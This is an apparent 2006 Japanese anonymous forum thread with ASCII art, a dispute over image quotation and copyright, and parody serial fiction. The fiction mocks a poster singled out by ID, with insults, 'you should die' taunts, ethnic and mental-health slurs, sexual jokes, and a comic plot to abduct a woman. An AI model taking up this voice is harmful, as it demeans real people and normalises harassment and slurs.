    |::::::.    :::ヘィf斥ミぅz.:::|ヘ:: |ィチぅ|ラ|7::::  / ハ|
    ヘ:::l、:.  ::. ::::マ´弋zシヽ:l ヽ!弋zシイ::::  / |    
     ヾ ヽ:. :::::::::\|ー一    ,   ̄´_7:;/   |
      / \:::|ー--ゝ    ,_、   /´::::::  ハ
      .′ .::::`:::::::::ト、:> 、    ,.イハ::l、:::::::.   ハ
       l  .:::::::::::::ト、|  X´|   ̄ |`\ ヾ \::::..::.. ハ
       |   ::/::∧| / |ノ      `!  \   ヽ::::|::. |
       |  :::|::/ _/   ハ       j   `>、 ヽ!::: !
       |  ::ハ|´―- 、   マニニミ/   / /\ヘ::|
      ヘ. ::| ̄ ̄下、 \ ヽ.  /  / .イ     ヘリ
       ∧:|    ヘ. \ \_ム._/_/ / /  /   i
       i ヾ  l/   \_` ̄_フヽ ̄´ _/   Y    !
       |     :i        ̄ }--{` ̄     l:    |

140 :名無しかましてよかですか?:2006/10/01(日) 15:55:11 ID:aBiCFODy
>>135
公開されている画像を資料として提示するために、出所や著作権者を
明示して再録するのは引用として認められている。
ましてやリンク張りは、参考文献の題名やページ数を表示するようなもので、
全く問題がないが。

まあ実は林間のブログも、ギリギリセーフかもしれんのだが。神戸新聞より
と言う最低限の表示はしているし、一応提示した資料を元に、自分の意見も
ちゃんと述べているので、批評論評の目的と言う線は越えていない。

141 :名無しかましてよかですか?:2006/10/01(日) 15:57:15 ID:Q9ySqP6S
>>139
だったらあの画像の掲載元のサイトに抗議してくれば?
管理人のメアドもあるよ。
http://oishi2ch.hp.infoseek.co.jp/

142 :名無しかましてよかですか?:2006/10/01(日) 15:59:50 ID:Bx4cqH5p
ボクがオタクを叩いたことをず〜と恨んでいるんだねwww
だって、一般人なら、萌えオタクを叩いてもスルーするだろwwww


143 :名無しかましてよかですか?:2006/10/01(日) 16:07:04 ID:aBiCFODy
>>139
>漫画やゲームの作者に使用許可取ってないで、
>画像を勝手に使って、うPするのは
>常識で考えて著作権侵害だろうが。
いまだにこんな事言ってるのか。
批評論評資料提示などの目的があり、引用の要件が守られて
いるなら引用として許可は要らない。

それより、模写の類も著作権違反であり、君のAAも立派に
著作権違反なのだが。

144 :名無しかましてよかですか?:2006/10/01(日) 16:09:30 ID:Bx4cqH5p
>>143
ほうほう。それはエロ同人誌をたっぷり買っている秋葉系に言うべき台詞だろwwww

145 :名無しかましてよかですか?:2006/10/01(日) 16:18:32 ID:Bx4cqH5p
     〃/:.:.:/.:.:.:.:.:./ :: /::/.: .:.:.:.:|.:.:.:.:.:.:l: .:.:.:.:.:.:!ヽ|::、l::ヽ :|
    .〃 /.:.:.:/:.:.:.:.:./-、/::/|:.:.:.:.:.:.:li::|:.:.:.:.:|.:.:.:.:.:.:.:.!:.:.:.:.:.:.:. :.|
   〃 !:.:.:.//::l::|::|::::/;X |.:.:.:.:.:.:!.!::|.:.:.:.:.|:.:.:.:.:.、:.:!:.:.:.:.:.:.:.:.:|
    l!  |.:.:.:.l::l :||::|/l:/.!/ ヽ.|: .:. :l.! |::l、::__:_l、:!__::ヽ::|.: .:.:. :.:.:|    
      | .: :|/|::||::l!/==、、 ! .:.:.!l! Xlヾ、: l.!:l、:.:.:.:ト!:.:.:.:.:.:.:.:| 
     |:.:/ |l:.!.!:| '´|:┘; | !.:.:.! !  ===ァミ :.:.:.:|.:.:.:.: :.:.:.:.!   ほうほう。それはエロ同人誌を
      、l  !:|:l::‖ |リ .ヽ:|    |:┘::::/'i/:.:.:.!:.:.:__:.l :.:.:.!    たっぷり買っている
       /:::'イ::ト ` ー'.   ヽ   |,、:::,ノ/ /:!:.:.|/ /:.!:.:.:.:.!    秋葉系に言うべき台詞ね!
       /:: ::: ::|::.!      r    `ー-'´ ./:.: .!:/  /:.:.l.:.:.:.:|
.    //:::::::::::::::!:\    ┌-、      /:.:.:.:.:/  /、 .:.!:.:.:.:.!
   / ::/:: ::::::::: :::| :.:.`i 、   `  ′ r‐-、/.:.:.: .,イ  .!:::::`丶、:|
    !:: /::::::::_:__ :.!.:.:.:.ト、` i. 、__, -‐`、   `、://  |_ ::::::::::::::丶、
   |:::└ : ´::::::::::::::.!:.:.:.:.!:: l ` , --‐'/: :ヽ   |/   / `、:::::::::::::ヽ
  「 ::: ::::|::::::::::::::::::::l.:.:.:.:|::::|   |::::::./ .:.:.:.:.!  .! ∨  / 丶、::::::.!



146 :名無しかましてよかですか?:2006/10/01(日) 16:27:40 ID:Bx4cqH5p
             /     /    :/  / /    /  イ│   |    l l      \   l
           ;    / ,  /  / ,'    / / │l   |    | |   i  ハヘ  |  うぐぅ・・・・
           | / /  :!  l  |  {   /jレ│ | |l  、|    l |   |   | l |   l  ボクがかわいいからって
           |/| /l  |  |  |__,厶斗匕l !  | l ヽ l`ー‐-j_ハ. ___/   j j │ ∧   苛めないでよ〜〜〜
.              | / |  |  l  lヽ { .ァ≠ミヘ {  ヽ  \ _ッ、/ ミ、 /  //  l  ∧
            レ -ヘ  lヽ ヽ l  Vl 圦_ハ         `代_ノ l}∨|  /∧  :|    |   __, -‐'⌒l
                /   ヽ | \{\!ー《.{fj::::::: !        ifj::::::: リ 》 !/ハノ  :|   .|-‐'´       /
            l     N  {ヘハヽ弋辷ソ  /////  弋辷;ソ /イ '´ |   li   │       /
                  /   /    ハ と=-‐'    '      ー-=つ     i|    ト、  !      /
            ヽ / l /! l   ヘ      〜〜ォ'´  ̄`ヽ、/    /i|    | l |    _/、
            /^l W  ! |.    lヽ、       〃      ヽ`ヽ /ll |   / ∨-一''´   }
             {. リ∨  .jハ    i\ > 、 ___/        \} /リ  /   `ヽ    /
             \ 〈     \  l\\/\  !          Y  /  /     |    /
              \f  ̄\   \_ヽ_\l\_ヽ_{             l`Y__/   -‐─イ_/
              ( 〉   \/    `ヽヘ ∧          レ ヘ /    /  )
                Y  \/        Vハヘ         //ヽ∧      l  /
                }   〃          }}∨ヽ` ー    / ヽ/ ∧    / ̄
               /  /{{           /ハ!メ_\__/\./ヽ/ 〉    〉

147 :名無しかましてよかですか?:2006/10/01(日) 18:53:04 ID:Q+I/aidr
道端に落ちてるウンコ=キモ味

148 :名無しかましてよかですか?:2006/10/01(日) 23:52:08 ID:LDYLk8Ba
どこの誰が、顔も見えないデンパ入ったキモヲタ男の証拠もなにもない自己申告に嫉妬するんだよ。
そんなキモい発言に太子、普通に引いているだけじゃん。
自分以外に誰にも可愛いなんて誰か言ったか?
そんなんだからリアルでもハブられているんだろ?

149 :名無しかましてよかですか?:2006/10/02(月) 04:58:03 ID:CvBLoXBw
実物というか、本人のレス初めて見たが、
本当にここのネタSSに出てくるまんまなのか…>ID:Bx4cqH5pのキモ味

150 :名無しかましてよかですか?:2006/10/02(月) 12:03:05 ID:5aa6kWjd
むしろかまってもらおうとネタに合わせて劣化しました<キモ

151 :名無しかましてよかですか?:2006/10/02(月) 12:20:08 ID:ukNV5xQs
クラスで相手にされないいじめられっこの奇行が
段々激しくなっていくのと同じだな。

152 :名無しかましてよかですか?:2006/10/02(月) 14:13:34 ID:/nRaEpgN
いじめられっこ以前にそもそもクラス内で誰にも相手されてないタイプかと。
で、じゃあ面白ければ相手にされるかもと思って色々やるも全部不発

153 :ライブスレ>>764氏へ:2006/10/02(月) 19:19:08 ID:JWZMppCe
ジバク「エビちゃん!!わしのエビちゃん!!大好きなんじゃよ!!
ゆうこりんの次にわしのお嫁さん候補になってほしいんじゃよ!!」
林間「うるせぇ、エビたんは俺のだ!!あの引き締まった肉体に
ヴァルキリーの鎧を着ければ…ハァハァ…
リアルヴァルキリーばんざーい!!!!1!」
ジバク「何を言うか!エビちゃんは今、チョン風衣装を着させられて
病に付している。今こそわしのような男気ある日本男児が
エビちゃんを嫁に迎えて優しくしてあげねばならんのじゃよ」
キモ味「うぐぅ、だったらボクにも優しくしてよ。ボクは美少女だよもん」
林間&ジバク「氏ね!変質者!!」
キモ味「お前らの方が変質者だろうがああああ!!!!
井gjhいおvjんといgvじおgjぽ;gj?ウjh類trghるpghtpぐいtrpg!!!」

吉田「また脳内嫁争奪戦?好きだねー」
鳥坂「取らぬ狸の皮算用とはまさしくこの事やな」

154 :名無しかましてよかですか?:2006/10/02(月) 19:22:56 ID:JVJ/+vPl
キモ味がいると、オチが楽でいいなあ

155 :名無しかましてよかですか?:2006/10/02(月) 22:24:28 ID:atqNpe8Y
>>153
つーか、いやしくも「愛国者」を名乗るものが、
なんでいつも会話が途中から「下ネタ」になってしまうんだ?

156 :名無しかましてよかですか?:2006/10/03(火) 02:06:03 ID:NqaQ3HFq
>>139
「お前だって僕の台詞勝手に貼り付けてただろうが・・・・・・コロス!!」
           __/: : : : : : : : : : : : : : : : : :`ヽ
         , ': : : : : : : : : : : : : : : : : : :`丶、: : \
       / /, : : : : : : : : , : : : : : : : : :\: :丶: : :ヽ
  ハ   / / :/: :/: : :/: : : i: : : : : : : 、: : ヽ ヽ.: :\: ハ
 i i:l   、: :/: : /: :/: : : i: : : :,l: : : :l: : : : :i、: : :ヽ:\;イ: :ハ
 l l:.i   /: : /: : /: : : :i: : : : il: : : :l: : : : :l 、: : : ヽ; ':.i: : :ハ
 i. i:.l   `ー/: : :i: : : : l: : : : l i: : : :l 、__.斗ヘ: :, -':.:.:.l.: : :ハ
 l. l:.:i     `ー ー--:イ`ニ_=-' -- ' `,ィ…o<l: : l:.:.:l:. : : ハ
 l l:.:i.       l: : :.l ,代。゚)    .`ー゚'_ '’l: :.l:.:.:l:.: :.: :ハ
 l l:.:l.       /i: :i:.ド ー-‐'  '_ ` ̄  ,イ: :l:.:.:l:l:. :.:. ハ
 l l:.:.l      / l: :l:.l ヽ、    ー‐'  ィ ':.:l: :.l:.:.:l:.l:.:.:.:. ハ
 l l:.:.l      /: :i: :l:.l:.:.:.:.:` ` ー 、- '  l:.:.::i: :.l:.:.l:.l:l:.:.:.:.:.ハ
. i i:.:.i     /: :.:l: :l:.l:.:.:.,......, - ' l    `ーl: :l:.:.:l:.l:.l:.:.:.:.:.ハ
  l l,:.:l    i: :i :l: :l:.l:/ i i ー 、  , - ‐ l: :l :.l`ヽ:.:.:.:.:.:. ハ
  `'´.l:.:i_   l: :l :.l: :l:.l.   l l   `     i: :i:.:i  ヽ:.:.:.:.:. ハ
    l-'l i   l: :l: :.:l: l:.l    l l_      , 'l: :l :.l   ヽ:.:.:.:.: :i
  r_'ーっ.ヽ l: イ :.,l: :l:.l ,イ l  ` ーィi、‐'  i: :i: :.lヽ.   ヽ:.:.:.: :l
  〈、二 ´イi  l:.ll: /l: :.l:.l./ ソ  /{ ト,ヽ  l: :l: :.l 〉ヽ.   ヽ:.:.:. l
  ヽ--−' ト、  '/ l: :.l:.l:.:ヘ  `イ/lノi,ヽ' i: :i :.:i l:.:.:.lヽ   ヽ:.:.:l
   ``i_´l  ``ヽ  >、l:.:.:.i   //  l .l l: : l:.:l. l:.:.:.:l:.ヽ   ヽ l
 


157 :名無しかましてよかですか?:2006/10/03(火) 07:44:51 ID:OvjD4hPZ
そもそも別に誰もコラージュそのものを、支持しているわけではないんだけどな。
キモ味が火病起こしているからネタにしているだけであって…

まぁ二元論系デンパには何言っても無駄か

158 :名無しかましてよかですか?:2006/10/03(火) 08:09:47 ID:nv+GSgwG
>>149
ネタの方がまだまとも。

159 :名無しかましてよかですか?:2006/10/03(火) 10:33:31 ID:cF6pK6lw
ネタの方が、まだ扱いやすいからな。

160 :コヴァとクラブ活動:2006/10/03(火) 20:34:50 ID:nv+GSgwG
吉田「ねぇ、コヴァ」
コヴァ「何でしゅか?」
吉田「以前から聞きたいと思ったんだけど、コヴァってどっかクラブに入ってんの?」
コヴァ「勿論ですにょ。ボクチンは日本史研究会に入ってましゅ。」
鳥坂「へぇー、どんなことやっとん?」
コヴァ「ボクチンは主に戦前の軍部の背景にあった思想を明治から調べてましゅ。
ところで、吉田君と鳥坂君はクラブに入っているんでしゅか?」
吉田「ん、一応テニス部に入ってるよ。レギュラーの道は遠いけど。」
鳥坂「俺はワンダーフォーゲル部。山登りは結構楽しいで。特に白馬岳がよかった。」
吉田「で、あいつらは愛国サークル以外に入ってんの?」
吉田は隅のほうで林間とこそこそ話をしている千葉と肝井を指した。
コヴァ「千葉突撃隊長は入ってないでしゅね。以前は工作部にいたらしいでしゅが、
武器を作れないとわかったとたん退部しましゅた。キモいのはアニメーション同好会に
入ってましゅね。中等部一年生の時に入って半年後に一度やめていましゅ。」
吉田「なぜ?」
コヴァ「奴から聞いた話が殆どなんで信用できませんが、エロゲーのブランドで
葉だ鍵だと当時の部長とけんかして辞めたそうでしゅ。」
鳥坂「要はエロゲヲタの内ゲバで一度辞めたんやな。で、また入ったん?」
コヴァ「はい、半年前に今の部長とハルヒやらシャナやらでヲタ同士、
意気投合して入ったそうですつ。でも…」
吉田「でも?」
コヴァ「あの性格でしゅからね、部内でもハブかれ気味でおまけに下級生にも
呼び捨てにされて馬鹿にされているそうですつ。まぁ、あいつのDQNな性格を
考えれば幼稚園児からも馬鹿にされてもしょうがないと思いましゅが。」
吉田「ふーん、そういえば、林間は高校時代何部だったんだろ?」
コヴァ「ボクチンの知る限りじゃ入ってなかったそうですつ。でも、あの頃から
女性の尻ばかり追いかけていたんで、臀部の部員だったんじゃないんでしゅか?」
鳥坂&吉田「…こう言っちゃ悪いが、つまんねーよ…」

161 :名無しかましてよかですか?:2006/10/03(火) 23:44:59 ID:fcEFHN9/
>>160
コヴァって、駄洒落の才能は無いみたいだな。

162 :名無しかましてよかですか?:2006/10/04(水) 01:28:02 ID:YUEoFZ6J
コヴァα(コヴァの危ない部分を集めた人格、旧コヴァ)とコヴァβ(現在のコヴァ)
に分離する話をつくってほしい。


163 :久々に担任が酷い目に:2006/10/05(木) 12:07:59 ID:hObBx3xR
これは林間が高校時代の話
府立幕野高校進路指導室
先生「でな、林間。先生絶対京大は無理やと思う。刻命館も無理やろ」
林間「んだとーーーーー!!1!!ボクは優れた思想家なんだ!1!!!
お前のような反権力気取りの権力の犬とは違う!1!!!」
林間はそういうと部屋を飛び出した
先生「ちょ、ちょいまて!」

林間は孤独だった。学校に友達はいなかった。むしろ、同じ中学から持ち上がった
ヤツに中学時代のことを全てバラされ二週間でいじめられっ子の座を見事に入手した。
そこで、林間は学外に友人を求めた。しかし、こんなのに接近するヤツなどロクな
もんではない。林間は某共産主義政党の青年組織に入った。が、そこすらもあっという間に
浮いた存在となりハブられるようになり、元々悪い成績は学年500人中500番になり
教室ではただ座っているだけの存在になった。

比良方モールの某書店。そこは、今となっては珍しいが漫画が立ち読みできる本屋であった。
林間は早速エロ漫画コーナーへ行き、好みのエロ漫画を探し、股間に手を・・・。その時、
肘が隣のヒトと触れた。林間が振り向くと、そこには紫色のコートを着た男が・・・。
守本「だっ、誰ですつか?エロ団ですつか?」
二十年前の守本紳八がいた。

現在、江古田駅前の居酒屋。海武学園職員懇親会
林間「・・・まあ、そんなことがあって私にとっては守本さんはエロの師匠でして」
守本「そうなんだナー」
担任「・・・(帰りたい・・・・)」
林間「あの後、守本の親が東京本社に異動するまで仲良かったですよねー」
守本「好きなエロマンガ交換しあったんだナー」
担任「・・・あのう、誰かー。席代わってくれませんかー」担任の叫びは無視された。

164 :二人のコヴァ:2006/10/05(木) 19:26:07 ID:gD9MjLJG
ある日の朝、コヴァは吉田、鳥坂と一緒に登校していた。
コヴァ「お腹がすいたですにょー」
吉田「学校の前にコンビニがあるからそこまで我慢しろよ。ったく、
お前、ちゃんと朝飯を食ったのか?」
コヴァ「急いでいて食べてませんにょ。あっ!」
コヴァは道に落ちているガムを見つけ、拾った。
鳥坂「おいおい、道に落ちてるもんなんか食ったら、腹壊すで。やめとき」
コヴァは鳥坂の静止を聞かずガムを口に入れた。次の瞬間、コヴァは口全体に燃え上がるような
辛さを感じた。いや、辛いというより、もはや痛いといったほうが正しかった。
コヴァ「ぎえええええ!!辛い!辛いですにょ!!水ー!水くれですにょ!!」
コヴァはむちゃくちゃに走り出した。コヴァの目の前にキモ味がいる。
キモ味は鯛焼き屋の袋を持っていた。
コヴァ「キモいの!その鯛焼きをよこすですにょ!!」
コヴァはキモ味から鯛焼きを無理やり取り上げて中に入っていた鯛焼き三尾を平らげた。
キモ味「ぎゃああああああん!!木場君のバカーーーー!!
ボクの鯛焼きーーー!!鯛焼き返せ!!一個百二十円だ!!
返せ!賠償しろ!謝罪しろ!木場君の大ドロボーーー!!!」
コヴァ「ふぅ、やっと落ち着いたですにょ」
吉田と鳥坂が追いついてきた。
キモ味「吉田君!聞いてよ!木場君ったら酷いんだよ!ボクの鯛焼きを
無理やり奪って食べたんだよ!木場君は大犯罪者だ!!
あの鯛焼きはお昼休みにボクがあゆちゃんのコスプレをして吉田君と一緒に食べようと思ったのに!」
鳥坂「おい、コヴァ、いくらなんでも人のものを奪って食べるなんて酷いだろ。弁償せぇや」
ところが、コヴァはぴくりとも反応しない。
キモ味「酷い!木場君ボクをシカトするつもり?シカトして犯罪から逃げるつもり?
だったらボクは木場君が心からの謝罪と賠償をして、ボクがオタクじゃないことと
理系たんが現実にいることと、ボクがかわいい女の子であるという現実を認めるまで
一生まとわりついてやる!!これ、被害者利権!!」
すると、コヴァは両膝を地面に突いてうめきだした。
鳥坂「キモ味、お前、鯛焼きに変な物を入れなかったか?」
キモ味「入れてないよ!あの鯛焼きは21丁目の小沢屋で買ったものだし!」
すると、コヴァの身体が光を帯び、その光が徐々に強まり始めた。

165 :二人のコヴァ:2006/10/05(木) 19:28:18 ID:gD9MjLJG
コヴァの身体は燃焼するマグネシウムのように輝いた後、光を失った。
吉田「う、うっそぉーーーーっ!!」
吉田たちの目の前にはコヴァが二人いた。二人のコヴァが目を覚ます。
コヴァ「うぽぽぽぽぽおおおおお!!!!キモいの!!!よくもボクチンに
毒入りの鯛焼きなんか食わせましたね!!!!このキモヲタサヨンボ!!!!」
コヴァ「き、キモいの、何かおかしなものを入れませんでしたか?」
キモ味「こ、木場君が二人になっちゃってる…」
コヴァ二人が目をあわす。無言でにらみ合いながら、徐々に顔を近づける…
二人のコヴァ「おえーーーっ、ペッペッ!!なんというキモい顔でしゅか!!」
鳥坂「自分の顔見て言うな。ボケが。」

HR
担任「それでは出席を取ります。青木、井上、上田、江口、岡田……木場!」
二人のコヴァ「はい!」
担任「ん?さっきコヴァの声がエコーしたような気がする。」
担任はコヴァを見た。顔が硬直する担任。
担任「コヴァー!!何で二人に増えてるんだよ!お前双子だったのか!?
それとも、守本が変装でもしてるのか?」
吉田「両方ともコヴァですよ…ただし一人は性格が問題児時代に戻ってますが」
コヴァ「うぽぽぽぽおおおお!!!黙れ吉田!!!この転向サヨンボのバカンボ!!!
誰が問題児でしゅか!!!ボクチンは愛国者ですから、問題などありませんにょ!!!!」
担任「なるほど、確かにあの頃のコヴァだ…」
吉田「どうしますか?」
担任「このままにしておくわけにもいかんから、放課後、病院に連れて行きましょう。」

都立松沢病院
免下「国崎先生…一言言っておく。ここ松沢病院は精神病患者を治療する施設であって
二人に分かれた人間を一人に戻すための施設じゃないぞ。」
月宮「まぁ、うちらいろいろやってるから、頼りたくなる気分もわからんでもないけどなー」
ヨシダ「本当にごめんなさい。二人に分かれた人間を一人に戻す方法なんてないわ。」
担任「そうですか…はぁ…」

166 :二人のコヴァ:2006/10/05(木) 19:31:45 ID:gD9MjLJG
担任は二人に分かれたコヴァを木場家に送り届けた。秋子は二人になった息子を見て倒れた。
そして目が覚めてそのうち一人が以前の危険なコヴァであることを知り、再度倒れる。
学校では、クラスメートが以前の性格のコヴァを「コヴァα」今のコヴァを「コヴァβ」と呼ぶようになった。
そして、2ヶ月の月日が流れた。

コヴァαとβが学校から帰っている途中、悲鳴が聞こえた。
ナイフを持ったおっさんが若い女性を羽交い絞めにし、ナイフを突きつけていた。
おっさん「fhg9ghれ9pfhpfhwfhうfふrfhfhrf!!!!!!」
そのおっさんは明らかにヤク中とわかった。どうみても数十年後のジバクです。本当に(ry
コヴァα「β!警察を呼んでくるですにょ!!犯人はボクチンに任せるですつ!」
コヴァβ「でも、それじゃあαが危ないですにょ!」
コヴァα「ボクチンは転向サヨンボのお前と違って侍の心を持った愛国者ですにょ!!
死ぬことなど最初から恐れていないですつ!さぁ、ここはボクチンに任せるですにょ!」
コヴァβ「わかったですにょ。α、絶対に死なないでくださいにょ!」
αが「うぽぽぽぽぽぽぽおおおおおおお!!天皇陛下ばんざーーーい!!!」と絶叫しながら
基地外に突撃していく。βは、後ろを振り返らず、交番に一目散に駆けつけた。
そして10分後、βが警官を連れて現場に戻ったとき、βは顔が真っ青になった。
血の海の中でαがぴくりとも動かずに横たわっていた。そばには、顔面が変形するほど
殴られて気絶している犯人とその片隅で動けずにか細い声でなく被害者がいた。
コヴァβ「α!しっかりするですにょ!!警察を連れてきたですにょ!」
コヴァα「βでしゅか…見ての通り、犯人はボクチンがボコボコにのしましたにょ。
最初に腹を刺されましたけど、この程度の痛み、アメ公に虐殺された全日本人のことを
思えば、何ともないですにょ…軽い傷ですにょ…」
コヴァαの出血は素人目にもわかるほどもはや助からない状態にあった。
コヴァβ「α、病院にいきましょうにょ。傷を治してもらいましょうにょ」
コヴァα「そうでしゅね…申し訳ないでしゅが、救急車を呼んでくださいにょ。
ボクチン、ちょっと歩けそうにないから…」
コヴァαはそう言うと、そのままぴくりとも動かなくなった。

167 :二人のコヴァ:2006/10/05(木) 19:33:55 ID:gD9MjLJG
コヴァβ「αーーーーーー!!!!」
次の瞬間、コヴァαの亡骸がコヴァが分裂した時のように光りだし、ちょっと送れて
コヴァβの身体も光りだした。そして一帯をまばゆい光が包んだ。
光が消えた時、コヴァαは何処にもいなくなっていた。地面に流れていた血も消えていた。
コヴァ「α…わかりますにょ。ボクチンら、また一人に戻ったんでしゅね。
お前はこれからボクチンと死ぬまで一緒ですね。これから一緒にがんばるですにょ、α!」
コヴァαはコヴァβの血と肉になった。もとの一人に戻ったコヴァが
無意識のうちにとっていたのは「敬礼」の姿であった。
涙は流さなかったが、無言の男の詩(うた)があった。奇妙な友情があった。

そして…
キモ味「うぐ?α君死んじゃったの?残念だなぁ、今度β君と一緒に3Pしようと思ったのに」
吉田「こんな時に気持ち悪いことを言うな!!バカ!!」
キモ味「ふざけるな!死ね!!」
吉田「おまえが死ねばいいと思うよ。寄生虫のクズが死んでも、誰も悲しまないから。」
キモ味「し潮dw;さpgp尾んrrtp@krthp@k@pk@k
RYV?9?差別するな!EB:jIZ/][G8mH[31?ZefB<Y@H=VJ3MKf3Fl<f]J@8差別するな!
謝罪しろ935EHKFH99bY/K=hPY死ねwQ4LHFgQZZI4?死ね謝罪しろ!!!!!」
鳥坂「元気出せよ、コヴァ」
コヴァ「αがと合体してボクチンはまた一人に戻りました。
ボクチンは悲しみませんにょ。αはボクチンと一緒ですにょ!
ボクチンはこれからαと一緒にがんばりますにょ!!」

168 :名無しかましてよかですか?:2006/10/05(木) 20:01:53 ID:Y+uq42Bj
何気にいい話だ

169 :名無しかましてよかですか?:2006/10/05(木) 20:10:34 ID:a9MtFqW3
(;´Д⊂)泣くもんか

170 :名無しかましてよかですか?:2006/10/05(木) 21:43:50 ID:t3n4k2JS
>>153
http://up.spawn.jp/file/up42880.png

僕はこんな感じですwww

171 :名無しかましてよかですか?:2006/10/05(木) 23:00:32 ID:JCHas4mM
>>164
サンクス☆
まあ、ずっといるのもあれだし、殺すしかない罠
ええ話?や 

172 :名無しかましてよかですか?:2006/10/06(金) 00:18:25 ID:5vecrPHQ
昔のコヴァなら口先だけで絶対自己犠牲なんかやらないはずだが・・・
むしろ犯人と一緒になって・・・

173 :名無しかましてよかですか?:2006/10/06(金) 00:18:57 ID:4fCP8Jop
>>170
キモちゃん前の迷彩少女のほうが良く描けてたぞ・・・・。
ちなみに実際はhttp://kyotoita.hp.infoseek.co.jp/cgi-bin/cgi/perl/41.png
かな?wwwwwwww


174 :名無しかましてよかですか?:2006/10/06(金) 05:00:20 ID:J3wPoHj6
    _, ._
  ( ・ω・) んもー
  ○={=}〇,
   |:::::::::\, ', ´
、、、、し 、、、(((.@)tp://up.spawn.jp/file/up42880.png



175 :名無しかましてよかですか?:2006/10/06(金) 08:25:57 ID:je+V6QQV
>>170
何この落書きw
平目それともザラブ星人?


176 :林間〜アンハッピーストーリー〜:2006/10/07(土) 10:38:31 ID:uHo+ZsAz
三連休初日、林間はいつになく早く起きた。
林間「今日は・・・でかけないとな」
そう、林間の脳内はあることでいっぱいだった。それは「紅葉を見に行くこと」
十月で紅葉なんて、関東では無茶苦茶な話ではあるが、林間の脳内には十月=紅葉という
根拠不明の思いこみがあった。それがきっかけで去年大恥書いたんだけどそれはそれで
また別の話。そして、彼女と一緒に紅葉を見たと証拠を付きだし、何とか吉田達を
ギャフンと言わせないと・・・。林間は間違った意味でいっぱいいっぱいだった。
林間はビデオ予約が、きっちり「おとぎぞーし赤ずきん」に合ってることを確認すると
愛車の「ヴァルキリー号」ことラングレーを走らせた。北へ

二時間後、栃木県ギョーザシティ某所。吉外会ヨシダ病院前
林間「でかい・・・」
林間は学校にある生徒調査票を参考に、近所のコンビニの駐車場にラングレーを止め
吉田姉弟の実家の前に来ていた。勿論嫌がらせのためである。
北関東有数のクソスレ立てた>>1のための病院である吉田の実家はデカかった。
林間「吉田のクセにこんな大きな家で金持ちに育ってかんしゃくおこす!!1111!!」
そして林間がここに来た理由はもう一つあった。吉田の下の姉、もみじを拉致監禁して
一緒に紅葉を見に行くためであった。
林間「・・・さて、かんしゃくおこしている場合ではないな。もみじちゃ〜〜〜ん、待っててね〜
グヘヘヘヘヘヘ」
林間は、敷地内に不法侵入した。

林間「・・・一体どこに家があるんだかんしゃくおこす!11!!!」
数十分後、林間は敷地内で迷子になっていた。幸い、数人の看護職員であるムキムキな方々には
発見されていたが、林間がどうみてもアレなため入院患者と勘違いされて見逃されていた。
しかし、不審なうろついている患者がいることは既に病院上層部へと伝わってはいたが。
その時だった。林間の眼に、見覚えがある若い女性の姿が
切り髪・黒髪・色白・大人しそう・・・林間「も、もみじたん!!1!1!」

177 :林間〜アンハッピーストーリー〜:2006/10/07(土) 10:39:25 ID:uHo+ZsAz
林間のポークビッツは一瞬で数十倍へと膨張した。そしてもみじに駆け寄る林間
林間「ぐーへーへーへー、も、もももみじたーーーーん」
もみじ「・・・だ、誰ですか?貴方は・・・」
林間「ふっ、私ですよ。貴方と赤羽から池袋間で愛し合ったぢぇんとるめん・・・」
顔を見たもみじの脳裏に、10代目スレの216から220で起こった悲劇が蘇る。
林間「あの時は左翼とポチの陰謀による妨害があって良いことできませんでしたが、
今日は是非一緒に紅葉を日光へ・・・」
もみじ「・・・・」
もみじの身体から、謎の「気」が発せられる。
林間「ん?もみじたん、一体どうしたのですか?」
また、もみじの顔が険しくなった。
もみじ「おい、そこのガリ」
林間「えっ、ここには愛国的好青年しか・・・」
もみじ「どこが好青年じゃボケッ、おんどりゃただの変質者やないかいっ」
林間「えーと、もみじたんはどこ?」林間、現実逃避
もみじ「ほお、ヒトに痴漢しておいてのこのこやってくるたぁ良い度胸だなあ、おい」
林間「・・・なんのことですかね?」
もみじ「あと、もみじは栃木でも見頃はまだまだ先やー。スター森山○弓プラチナー」
オラオラオラオラオラオラオラオラオラオラオラオラオラオラオラオラオラオラ

ぼふん、コンビニに止めてあるラングレーの横に林間が墜落した。
キモ「あれぇ、林間先生もどってきたのぉ」
目の前には肝井味平がいた。
肝井「今日ねー。林間先生の車に乗って来ちゃったのー。ねー、お弁当買ったから
一緒に食べようようぐぅにはははは」
林間「・・・なあ。今から一緒に紅葉を日光に見に行かないか?ホテルも取ってあるんだ」
肝井「いぐぅぅぅぅぅぅぅぅぅ」

178 :林間〜アンハッピーストーリー〜:2006/10/07(土) 10:40:31 ID:uHo+ZsAz
連休明け。林間の推定政経の授業
林間「先生はなー。この前の土日彼女と一緒に日光に行ってお泊まりしてきたぜー。
うらやましいだろー、吉田ー、鳥坂ー、コヴァー」
鳥坂「別に・・・」
吉田「なあ(苦笑)」
林間「ど、どどどどういうことだ!かんしゃくおこさないのかーーーー!!!1!」
コヴァ「お言葉でしゅが林間先生、もう先生の嘘はばれてましゅよ」
鳥坂「これみてみ」
と、鳥坂が林間に渡したモノ。それは・・・「肝井味平お手製の林間先生とのラブラブデート
報告書」であった。その中には林間が肝井と緑の日光へドライブしてその後温泉に泊まったことが
克明に記してあった。多少肝井の脚色付きで
ゴゴゴゴゴゴゴゴ
吉田「あと、先生。日曜日実家から連絡ありましたよ。勝手に敷地の中に入るなって。
今度からその場で強制入院にするってウチのじいさんが怒ってました」
ゴゴゴゴゴゴゴゴゴゴゴゴ
林間「きーもーいーーーーーー」
と林間は肝井に怒り心頭で襲いかかるが、肝井はそれに対して
肝井「もう、一緒に寝たんだからもうボクと結婚しよーよー」
コヴァ「う〜ん、酷くなってるですにょ・・・」
林間「うるさいうるさいうるさいかんしゃくおこす!1!!!111111!!!!!!!」
ドカンバキンドカン、林間の一方的暴力が始まった。しかし、肝井は嬉しそうだ
鳥坂「あー、お前らうっさいから廊下出ろ」
と鳥坂にけり出された二人はそのまま廊下を転がっていき、階段を転げ落ちた。
吉田「・・・どうするよ」
コヴァ「とりあえずニッキョーソを呼んで黄色い救急車を呼ぶですにょ」
鳥坂「そやな」

179 :名無しかましてよかですか?:2006/10/07(土) 11:04:04 ID:8Gd7QkzS
ちなみに今年の京都の嵐山での見ごろは
11月中旬らしいよ。

勉強になったねえ、推定w

180 :名無しかましてよかですか?:2006/10/07(土) 12:14:30 ID:C6A4e3H6
10月上旬なら、ぶっちゃけ北海道の高山帯(ニセコとか大雪山系あたり)すら
まだ若干早いという件について

181 :名無しかましてよかですか?:2006/10/07(土) 13:35:39 ID:eGQ0gufM
その前に>>176-178のタイトルにツッコミを入れるべきだという話はナシですか?

